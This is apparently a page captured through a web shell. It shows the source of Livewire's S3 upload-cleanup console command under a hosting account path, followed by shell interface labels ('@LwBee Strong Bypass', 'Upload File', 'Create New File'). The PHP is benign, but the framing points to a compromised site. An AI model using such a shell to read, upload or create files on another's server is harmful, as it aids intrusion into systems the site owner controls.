/home/aloic1/public_html/core/vendor/livewire/livewire/src/Commands/S3CleanupCommand.php
<?php
namespace Livewire\Commands;
use Illuminate\Console\Command;
use Livewire\FileUploadConfiguration;
class S3CleanupCommand extends Command
{
protected $signature = 'livewire:configure-s3-upload-cleanup';
protected $description = 'Configure temporary file upload s3 directory to automatically cleanup files older than 24hrs.';
public function handle()
{
if (! FileUploadConfiguration::isUsingS3()) {
$this->error("Configuration ['livewire.temporary_file_upload.disk'] is not set to a disk with an S3 driver.");
return;
}
$adapter = FileUploadConfiguration::storage()->getDriver()->getAdapter();
$adapter->getClient()->putBucketLifecycleConfiguration([
'Bucket' => $adapter->getBucket(),
'LifecycleConfiguration' => [
'Rules' => [
[
'Prefix' => $prefix = FileUploadConfiguration::path(),
'Expiration' => [
'Days' => 1,
],
'Status' => 'Enabled',
],
],
],
]);
$this->info('Livewire temporary S3 upload directory ['.$prefix.'] set to automatically cleanup files older than 24hrs!');
}
}
@LwBee Strong Bypass
Upload File
Create New File